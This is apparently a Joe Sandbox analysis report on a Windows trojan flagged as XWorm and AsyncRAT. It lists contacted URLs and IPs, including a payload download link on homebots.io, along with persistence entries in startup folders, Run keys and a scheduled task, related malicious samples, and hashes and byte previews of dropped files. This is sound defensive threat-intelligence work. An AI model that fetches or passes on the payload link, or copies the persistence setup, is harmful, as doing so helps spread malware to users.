http://www.microsoft.co	powershell.exe, 0000000C.00000002.1965699235.00000240D4733000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://contoso.com/License	powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 0000001A.00000002.2913557497.000001A4D6000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.26.dr	false	URL Reputation: safe	unknown
https://bin.homebots.io/f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc8756225	80BvHOM51j.exe, 00000000.00000002.2909568930.000001EE09E50000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.26.dr	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.26.dr	false	0%, Virustotal, Browse	unknown
http://www.microsoft.cVf6	powershell.exe, 0000000C.00000002.1965699235.00000240D46E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 0000001A.00000003.2517348187.000001A4D5EB2000.00000004.00000800.00020000.00000000.sdmp, edb.log.26.dr	false	0%, Virustotal, Browse	unknown
https://bin.homebots.io/f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622#	80BvHOM51j.exe, 00000000.00000002.2909568930.000001EE09EAD000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000006.00000002.1821832936.00000213486FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1891461405.00000240BC27A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2002606468.000001822F9C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.1844678858.0000021358544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1945912327.00000240CC0C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2099020934.000001823F812000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.1821832936.00000213484D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1891461405.00000240BC051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2002606468.000001822F7B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2167775470.000001BC27681000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	coonfart.exe, 00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1821832936.00000213484D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1891461405.00000240BC051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2002606468.000001822F7B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2167775470.000001BC27681000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000001A.00000003.2517348187.000001A4D5EB2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.26.dr, edb.log.26.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
193.161.193.99	unknown	Russian Federation	198134	BITREE-ASRU	false
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
143.178.83.216	homebots.io	Netherlands	50266	TMOBILE-THUISNL	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532625
Start date and time:	2024-10-13 19:10:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	80BvHOM51j.exe renamed because original name is a hash value
Original Sample Name:	2b89bba8e264ad85ed07127f63cc7a711e05867525e4143edddb06dc9bbf2f08.exe
Detection:	MAL
Classification:	mal100.troj.adwa.expl.evad.winEXE@32/30@3/5
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 99% Number of executed functions: 85 Number of non-executed functions: 17
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Runtime Broker, PID 7372 because it is empty
Execution Graph export aborted for target coonfart.exe, PID 7720 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3288 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7492 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7780 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7948 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:11:10	API Interceptor	56x Sleep call for process: powershell.exe modified
13:12:11	API Interceptor	123x Sleep call for process: coonfart.exe modified
13:12:21	API Interceptor	2x Sleep call for process: OpenWith.exe modified
13:12:22	API Interceptor	2x Sleep call for process: svchost.exe modified
18:11:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat
18:11:14	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe
18:12:10	Task Scheduler	Run new task: Runtime Broker path: C:\Users\Public\Runtime s>Broker
18:12:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Runtime Broker C:\Users\Public\Runtime Broker
18:12:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Runtime Broker C:\Users\Public\Runtime Broker
18:12:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	ip-api.com/json/?fields=225545
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	W1FREE.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	facturas vencidas, 650098, 0099, 00976, 009668, 009678, 0056598433.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Orden de Compra 097890.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	PO.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	4HyAcc2Dct.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	kUFcZgip68.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
193.161.193.99	Yq5Gp2g2vB.exe	Get hash	malicious	RedLine	Browse	okmaq-24505.portmap.host:24505/
	JnBNepHH7K.exe	Get hash	malicious	AsyncRAT RedLine	Browse	exara32-64703.portmap.host:64703/
	99SKW728vf.exe	Get hash	malicious	RedLine	Browse	lottie9nwtina-55339.portmap.host:55339/
	amazoninvoiceAF0388d83739dee83479171dbcf.exe	Get hash	malicious	RedLine	Browse	tete2792-22120.portmap.host:22120//

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	jcMcDQ11pZ.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	test.doc	Get hash	malicious	Unknown	Browse	104.20.4.235
	invoice.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	104.20.3.235
	awb_shipping_doc_001700720242247820020031808174CN18003170072024_00000000pdf.js	Get hash	malicious	Remcos	Browse	172.67.19.24
	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	Quotation request YN2024-10-07pdf.vbs	Get hash	malicious	Remcos	Browse	104.20.4.235
	eshkere.bat	Get hash	malicious	Xmrig	Browse	104.20.4.235
	frik.exe	Get hash	malicious	Xmrig	Browse	104.20.3.235
	Google Chrome.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
ip-api.com	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	208.95.112.1
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	W1FREE.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	facturas vencidas, 650098, 0099, 00976, 009668, 009678, 0056598433.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Orden de Compra 097890.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PO.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	4HyAcc2Dct.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	kUFcZgip68.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TMOBILE-THUISNL	na.elf	Get hash	malicious	Unknown	Browse	85.144.20.0
	na.elf	Get hash	malicious	Mirai	Browse	85.144.229.202
	na.elf	Get hash	malicious	Mirai	Browse	85.144.20.7
	SecuriteInfo.com.Linux.Siggen.9999.10361.13333.elf	Get hash	malicious	Mirai	Browse	85.146.69.242
	jade.m68k.elf	Get hash	malicious	Mirai	Browse	85.144.229.200
	SecuriteInfo.com.Linux.Siggen.9999.15962.9862.elf	Get hash	malicious	Mirai	Browse	85.144.20.3
	yJrZoOsgfl.exe	Get hash	malicious	Unknown	Browse	143.178.83.216
	IMKssbDprn.exe	Get hash	malicious	Unknown	Browse	143.178.83.216
	WBmC56ADQF.lnk	Get hash	malicious	Unknown	Browse	143.178.83.216
	uScqjqUS1m.exe	Get hash	malicious	Unknown	Browse	143.178.83.216
BITREE-ASRU	jcMcDQ11pZ.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	193.161.193.99
	bfWVPQsRO1.exe	Get hash	malicious	Njrat	Browse	193.161.193.99
	p61Wb0tocl.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	sUdsWh0FL4.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	YirR3DbZQp.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	WTB Middle East FZE 002124.jar	Get hash	malicious	ADWIND	Browse	193.161.193.99
	WTB Middle East FZE 002121.jar	Get hash	malicious	ADWIND	Browse	193.161.193.99
	Discord.exe	Get hash	malicious	Quasar	Browse	193.161.193.99
	NkxagQa6zn.exe	Get hash	malicious	StormKitty, XWorm	Browse	193.161.193.99
	KNUaGHzY9V.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
TUT-ASUS	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	208.95.112.1
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	W1FREE.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	facturas vencidas, 650098, 0099, 00976, 009668, 009678, 0056598433.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Orden de Compra 097890.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PO.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	4HyAcc2Dct.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	kUFcZgip68.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
CLOUDFLARENETUS	jcMcDQ11pZ.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	http://bancolombia-seguridad-co.glitch.me/	Get hash	malicious	Unknown	Browse	172.67.74.152
	http://telegiraum.club/	Get hash	malicious	Telegram Phisher	Browse	104.16.124.96
	https://pub-6e60812ea6034887a73a58b17a92a80f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	172.66.0.235
	https://f120987.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.16.124.96
	https://japroippouquafou-5881.vercel.app/mixc.html	Get hash	malicious	HTMLPhisher	Browse	104.26.5.15
	http://posegulefra-4459.vercel.app/mixcc.html	Get hash	malicious	HTMLPhisher	Browse	104.26.4.15
	https://kucoinexplora.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.16.124.96
	https://shawri.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	162.247.243.29

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	104.20.4.235
	jcMcDQ11pZ.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.4.235
	hvnc-CR-SCR-0710.bin.exe	Get hash	malicious	PureCrypter	Browse	104.20.4.235
	hvnc-CR-SCR-0710.bin.exe	Get hash	malicious	PureCrypter	Browse	104.20.4.235
	https://pub-6e60812ea6034887a73a58b17a92a80f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.20.4.235
	https://kucoinexplora.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.20.4.235
	https://shawri.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.20.4.235
	https://server.h74w.com/invite/12536668	Get hash	malicious	Unknown	Browse	104.20.4.235
	https://scary-wave.surge.sh/appeal/	Get hash	malicious	Unknown	Browse	104.20.4.235
	https://mail.flndmy-ld-usa.help/icloud-archivos/code2022esp.php	Get hash	malicious	Unknown	Browse	104.20.4.235
37f463bf4616ecd445d4a1937da06e19	C5u5BZq8gj.exe	Get hash	malicious	Vidar	Browse	143.178.83.216
	hD2EOjfpfW.exe	Get hash	malicious	Vidar	Browse	143.178.83.216
	cW5i0RdQ4L.exe	Get hash	malicious	Unknown	Browse	143.178.83.216
	cW5i0RdQ4L.exe	Get hash	malicious	Unknown	Browse	143.178.83.216
	OceanicTools.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	143.178.83.216
	v.1.6.3__x64__.msi	Get hash	malicious	LegionLoader	Browse	143.178.83.216
	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	143.178.83.216
	bot.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	143.178.83.216
	narud#U017ebenica TISAKOMERC d.o.oRadbrkkedes234525262623.wsf	Get hash	malicious	Remcos, GuLoader	Browse	143.178.83.216
	v.1.5.4__x64__.msi	Get hash	malicious	LegionLoader	Browse	143.178.83.216

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073797426099514
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrf:KooCEYhgYEL0In
MD5:	8573BCE99A19C04A24593A7D3F4C0AEB
SHA1:	74D27335846F41DE1F8C9311500787EF8C9ACD52
SHA-256:	423F91E0CC329BFCA8125373FFBA2F67B479D675F697C0998ACCC4D57B6F682B
SHA-512:	F81FCB4CE9CC328B68109185562E3190718F9D97E06464574810124B12F28A8CC00902F1D6B98B30B32E954FFB3C2992C108527C5B882364F0F148D5F39025BD
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0e042e1b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42217415317834384
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Jaza/vMUM2Uvz7DO
MD5:	8514000E736146328440E3026CCDC841
SHA1:	636A86113BC87FE626A2B8F35AA9B0FA1566B2E1
SHA-256:	6C4F20FF34D1E0B0331DF54B754E01EB5358E9091936D2D1B3F38D84D0514E4A
SHA-512:	584D15BB085A761CE789F29249F0483885B4371A686FF1A2E6629E1FC3003E97CCF8F4E66AF17FE38DCAAB6DCB74AA59F4292B43C8EBF8E1AC9E4CF7979E12EA
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A......\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..........................................\|.................._-r......\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07693789839289306
Encrypted:	false
SSDEEP:	3:iyYeEVSn5ejjn13a/VXZEvillcVO/lnlZMxZNQl:iyz8CAj53q9ZJOewk
MD5:	BA322AF36C2B4D92020C576817B805E6
SHA1:	3A93433CF01CDAD2D3287C793DB37DF5CAA7A990
SHA-256:	EB57697352840B8CBEBBEDB1E284F2DA3483E1FE73A2BB5D55DC071C58F54C7B
SHA-512:	1995D9BBF0B39E0465C7409AC174970D35E448B78A72E911B071F7387100172ABF04F46005D1893975DC19281C15635AC5559ADE0575F7C724C9C5250E114CDF
Malicious:	false
Preview:	ln.......................................;...{.......\|.......{A..............{A......{A..........{A]................_-r......\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Runtime Broker

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	174080
Entropy (8bit):	4.6925997112201365
Encrypted:	false
SSDEEP:	1536:oEYwMHUIf/NFDawQTQTwxz5qbTrfKT3B6UlotQFO5uSyEIE4:xl4NFhQiw15qbTevWqO5HhIE4
MD5:	A9D1FD427561A90037A112B99EDD9D14
SHA1:	A9B63FFBF0CA8B852C9B23955515684DF4F32DED
SHA-256:	F25374E1808122200507AE53DE2425884EF5C497CBD9D75A96E8ACC6C5AE5F4B
SHA-512:	8FCDBDECE6B2AF556E87F70B8621E68BFFDC17CFB98411343988BFBF9E16ACC5376D17568C63F88936FBC6E004E3A0E154F7C537691E4A66B02B5DCB88EA0F9E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\Public\Runtime Broker, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\Public\Runtime Broker, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Runtime Broker, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81% Antivirus: Virustotal, Detection: 66%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5..g.............................)... ...@....@.. ....................................@..................................)..W....@............................................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc..............................@..B.................)......H........c..........&.....................................................(.....r...p. .O....(.....rS..p. .....s.........s.........s.........s..........r...p.r...p. K....rI..p. .}...r...p. ..e..r...p. ..v...((....r,..p. S....r~..p. .(h..(,...-.(-...,.+.(....,.+.(+...,.+.(...,..(a..."(....+.&(....&+..+5so... .... .'..op...(,...~....-.(b...(T...~....oq...&.-..r...p. Z...r2..p. .....r...p. ..?..r...p. .?N..r(..p. .\|...rz..p. ..2..r...p. .(

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Runtime Broker.log

Download File

Process:	C:\Users\Public\Runtime Broker
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\coonfart.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]

Download File

Process:	C:\Users\user\Desktop\80BvHOM51j.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	174080
Entropy (8bit):	4.6925997112201365
Encrypted:	false
SSDEEP:	1536:oEYwMHUIf/NFDawQTQTwxz5qbTrfKT3B6UlotQFO5uSyEIE4:xl4NFhQiw15qbTevWqO5HhIE4
MD5:	A9D1FD427561A90037A112B99EDD9D14
SHA1:	A9B63FFBF0CA8B852C9B23955515684DF4F32DED
SHA-256:	F25374E1808122200507AE53DE2425884EF5C497CBD9D75A96E8ACC6C5AE5F4B
SHA-512:	8FCDBDECE6B2AF556E87F70B8621E68BFFDC17CFB98411343988BFBF9E16ACC5376D17568C63F88936FBC6E004E3A0E154F7C537691E4A66B02B5DCB88EA0F9E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1], Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1], Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1], Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81% Antivirus: Virustotal, Detection: 66%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5..g.............................)... ...@....@.. ....................................@..................................)..W....@............................................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc..............................@..B.................)......H........c..........&.....................................................(.....r...p. .O....(.....rS..p. .....s.........s.........s.........s..........r...p.r...p. K....rI..p. .}...r...p. ..e..r...p. ..v...((....r,..p. S....r~..p. .(h..(,...-.(-...,.+.(....,.+.(+...,.+.(...,..(a..."(....+.&(....&+..+5so... .... .'..op...(,...~....-.(b...(T...~....oq...&.-..r...p. Z...r2..p. .....r...p. ..?..r...p. .?N..r(..p. .\|...rz..p. ..2..r...p. .(

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
